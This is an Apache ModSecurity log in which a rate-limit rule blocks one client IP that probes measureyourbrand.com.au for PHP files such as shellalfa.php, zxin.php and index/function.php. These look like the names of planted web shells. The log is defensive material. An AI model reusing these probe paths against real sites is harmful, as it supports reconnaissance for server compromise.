[Sat Dec 13 21:43:41.061249 2025] [:error] [pid 21342:tid 21358] [client 4.194.162.164:58987] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aT1tjfBL0VVSMIEvqsuJUAAAAww"]
[Sat Dec 13 21:43:41.801149 2025] [:error] [pid 20799:tid 20818] [client 4.194.162.164:57648] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aT1tjaPz3eVRUTzZpOKJfgAAAtE"]
[Sat Dec 13 21:43:42.236918 2025] [:error] [pid 43747:tid 43773] [client 4.194.162.164:1531] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aT1tjpYw3twBd_JQEHhDAAAAABY"]
[Sat Dec 13 21:43:43.087693 2025] [:error] [pid 8242:tid 8256] [client 4.194.162.164:60134] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aT1tjyNKA7vSGNUfnOFAlwAAAkg"]
[Sat Dec 13 21:43:43.861102 2025] [:error] [pid 21342:tid 21351] [client 4.194.162.164:57614] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aT1tj_BL0VVSMIEvqsuJUwAAAwU"]
[Sat Dec 13 21:43:47.925699 2025] [:error] [pid 43748:tid 43790] [client 4.194.162.164:1506] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aT1tk6rTT0VzE3gYjcC1CAAAAEs"]
[Sat Dec 13 21:43:48.319925 2025] [:error] [pid 21342:tid 21350] [client 4.194.162.164:57628] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aT1tlPBL0VVSMIEvqsuJWAAAAwQ"]
[Sat Dec 13 21:43:48.571603 2025] [:error] [pid 43748:tid 43789] [client 4.194.162.164:1473] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aT1tlKrTT0VzE3gYjcC1CgAAAEo"]
[Sat Dec 13 21:43:49.644624 2025] [:error] [pid 23013:tid 23032] [client 4.194.162.164:1489] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aT1tlas9bDNWPQXUW1anxgAAA9E"]
[Sat Dec 13 21:43:51.773261 2025] [:error] [pid 21342:tid 21366] [client 4.194.162.164:1478] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aT1tl_BL0VVSMIEvqsuJXQAAAxQ"]
[Sat Dec 13 21:43:53.089339 2025] [:error] [pid 8242:tid 8262] [client 4.194.162.164:54154] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aT1tmSNKA7vSGNUfnOFAmQAAAk4"]
[Sat Dec 13 21:43:54.951845 2025] [:error] [pid 8242:tid 8261] [client 4.194.162.164:1490] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aT1tmiNKA7vSGNUfnOFAnAAAAk0"]
[Sat Dec 13 21:43:56.725015 2025] [:error] [pid 43747:tid 43767] [client 4.194.162.164:60102] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aT1tnJYw3twBd_JQEHhDBwAAABA"]
[Sat Dec 13 21:44:03.594104 2025] [:error] [pid 43836:tid 43858] [client 4.194.162.164:58984] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aT1to2AEOBirsxb11nYG9gAAANQ"]
[Sat Dec 13 21:44:05.218853 2025] [:error] [pid 43747:tid 43751] [client 4.194.162.164:59005] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aT1tpZYw3twBd_JQEHhDDQAAAAA"]
[Sat Dec 13 21:44:06.737724 2025] [:error] [pid 21342:tid 21360] [client 4.194.162.164:1510] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aT1tpvBL0VVSMIEvqsuJagAAAw4"]
[Sat Dec 13 21:44:07.463585 2025] [:error] [pid 21342:tid 21359] [client 4.194.162.164:54262] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aT1tp_BL0VVSMIEvqsuJawAAAw0"]
[Sat Dec 13 21:44:08.058103 2025] [:error] [pid 8242:tid 8269] [client 4.194.162.164:54241] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aT1tqCNKA7vSGNUfnOFAoAAAAlU"]
[Sat Dec 13 21:44:09.268518 2025] [:error] [pid 20799:tid 20807] [client 4.194.162.164:58973] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aT1tqaPz3eVRUTzZpOKJjgAAAsY"]
[Sat Dec 13 21:44:10.957867 2025] [:error] [pid 43836:tid 43855] [client 4.194.162.164:54220] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aT1tqmAEOBirsxb11nYG-wAAANE"]
[Sat Dec 13 21:44:11.686626 2025] [:error] [pid 39287:tid 39289] [client 4.194.162.164:54227] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aT1tqzBwBW1JRRoCYqaRKAAAAQA"]
[Sat Dec 13 21:44:12.044652 2025] [:error] [pid 43748:tid 43780] [client 4.194.162.164:54238] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aT1trKrTT0VzE3gYjcC1EAAAAEE"]
[Sat Dec 13 21:44:13.085320 2025] [:error] [pid 23013:tid 23017] [client 4.194.162.164:53983] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aT1tras9bDNWPQXUW1an4wAAA8I"]
[Sat Dec 13 21:44:13.881037 2025] [:error] [pid 23013:tid 23016] [client 4.194.162.164:53968] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aT1tras9bDNWPQXUW1an5QAAA8E"]
[Sat Dec 13 21:44:14.662099 2025] [:error] [pid 43748:tid 43802] [client 4.194.162.164:58897] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aT1trqrTT0VzE3gYjcC1FAAAAFY"]
[Sat Dec 13 21:44:15.577430 2025] [:error] [pid 43748:tid 43804] [client 4.194.162.164:42314] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aT1tr6rTT0VzE3gYjcC1FgAAAFg"]
[Sat Dec 13 21:44:16.499197 2025] [:error] [pid 20799:tid 20818] [client 4.194.162.164:42360] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aT1tsKPz3eVRUTzZpOKJkwAAAtE"]
[Sat Dec 13 21:44:17.596657 2025] [:error] [pid 39287:tid 39310] [client 4.194.162.164:42364] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aT1tsTBwBW1JRRoCYqaRKgAAARU"]
[Sat Dec 13 21:44:18.055925 2025] [:error] [pid 21342:tid 21362] [client 4.194.162.164:58902] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aT1tsvBL0VVSMIEvqsuJbgAAAxA"]
[Sat Dec 13 21:44:18.687327 2025] [:error] [pid 43747:tid 43770] [client 4.194.162.164:42309] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aT1tspYw3twBd_JQEHhDIgAAABM"]
[Sat Dec 13 21:44:19.737013 2025] [:error] [pid 22505:tid 22518] [client 4.194.162.164:54556] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aT1tszvNI-35hW16TnUkWAAAA4s"]
[Sat Dec 13 21:44:21.009236 2025] [:error] [pid 55071:tid 55076] [client 4.194.162.164:58881] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aT1ttcHSpNduhEZ_mjfe6QAAAYM"]
[Sat Dec 13 21:44:21.437064 2025] [:error] [pid 43748:tid 43796] [client 4.194.162.164:1977] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aT1ttarTT0VzE3gYjcC1KgAAAFE"]
[Sat Dec 13 21:44:21.980501 2025] [:error] [pid 21342:tid 21355] [client 4.194.162.164:54575] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aT1ttfBL0VVSMIEvqsuJcAAAAwk"]
[Sat Dec 13 21:44:22.713201 2025] [:error] [pid 21342:tid 21361] [client 4.194.162.164:42306] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aT1ttvBL0VVSMIEvqsuJcgAAAw8"]
[Sat Dec 13 21:44:23.351472 2025] [:error] [pid 43836:tid 43840] [client 4.194.162.164:58896] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aT1tt2AEOBirsxb11nYHBQAAAMI"]
[Sat Dec 13 21:44:24.609025 2025] [:error] [pid 55071:tid 55086] [client 4.194.162.164:54560] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aT1tuMHSpNduhEZ_mjfe7AAAAY0"]
[Sat Dec 13 21:44:25.562628 2025] [:error] [pid 8242:tid 8263] [client 4.194.162.164:42348] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aT1tuSNKA7vSGNUfnOFApwAAAk8"]
[Sat Dec 13 21:44:26.462332 2025] [:error] [pid 21342:tid 21349] [client 4.194.162.164:54568] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aT1tuvBL0VVSMIEvqsuJdgAAAwM"]
[Sat Dec 13 21:44:27.392591 2025] [:error] [pid 39287:tid 39310] [client 4.194.162.164:53998] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aT1tuzBwBW1JRRoCYqaRPgAAARU"]
[Sat Dec 13 21:44:28.473303 2025] [:error] [pid 8242:tid 8261] [client 4.194.162.164:58882] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aT1tvCNKA7vSGNUfnOFAqgAAAk0"]
[Sat Dec 13 21:44:29.627134 2025] [:error] [pid 20799:tid 20816] [client 4.194.162.164:54577] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aT1tvaPz3eVRUTzZpOKJvwAAAs8"]
[Sat Dec 13 21:44:30.508372 2025] [:error] [pid 43747:tid 43770] [client 4.194.162.164:58916] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aT1tvpYw3twBd_JQEHhDMQAAABM"]
[Sat Dec 13 21:44:32.163572 2025] [:error] [pid 21342:tid 21351] [client 4.194.162.164:1546] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aT1twPBL0VVSMIEvqsuJegAAAwU"]
[Sat Dec 13 21:44:33.071592 2025] [:error] [pid 21342:tid 21358] [client 4.194.162.164:1572] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aT1twfBL0VVSMIEvqsuJfAAAAww"]
[Sat Dec 13 21:44:34.715501 2025] [:error] [pid 22505:tid 22521] [client 4.194.162.164:58923] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aT1twjvNI-35hW16TnUkXQAAA44"]
[Sat Dec 13 21:44:35.247127 2025] [:error] [pid 55071:tid 55083] [client 4.194.162.164:42334] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aT1tw8HSpNduhEZ_mjfe7wAAAYo"]
[Sat Dec 13 21:44:36.330959 2025] [:error] [pid 55071:tid 55093] [client 4.194.162.164:58931] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aT1txMHSpNduhEZ_mjfe8gAAAZQ"]
[Sat Dec 13 21:44:38.138021 2025] [:error] [pid 43748:tid 43783] [client 4.194.162.164:54561] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aT1txqrTT0VzE3gYjcC1MwAAAEQ"]
[Sat Dec 13 21:44:39.087021 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:42320] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aT1txyNKA7vSGNUfnOFArQAAAks"]
[Sat Dec 13 21:44:40.162419 2025] [:error] [pid 39287:tid 39297] [client 4.194.162.164:42367] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aT1tyDBwBW1JRRoCYqaRRAAAAQg"]
[Sat Dec 13 21:44:40.890356 2025] [:error] [pid 21342:tid 21365] [client 4.194.162.164:42356] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aT1tyPBL0VVSMIEvqsuJhAAAAxM"]
[Sat Dec 13 21:44:42.419132 2025] [:error] [pid 21342:tid 21368] [client 4.194.162.164:58903] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aT1tyvBL0VVSMIEvqsuJiAAAAxY"]
[Sat Dec 13 21:44:43.440372 2025] [:error] [pid 43836:tid 43859] [client 4.194.162.164:58914] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aT1ty2AEOBirsxb11nYHCQAAANU"]
[Sat Dec 13 21:44:45.054410 2025] [:error] [pid 43748:tid 43794] [client 4.194.162.164:54553] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aT1tzarTT0VzE3gYjcC1PgAAAE8"]
[Sat Dec 13 21:44:45.868290 2025] [:error] [pid 43747:tid 43775] [client 4.194.162.164:1800] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aT1tzZYw3twBd_JQEHhDOwAAABg"]
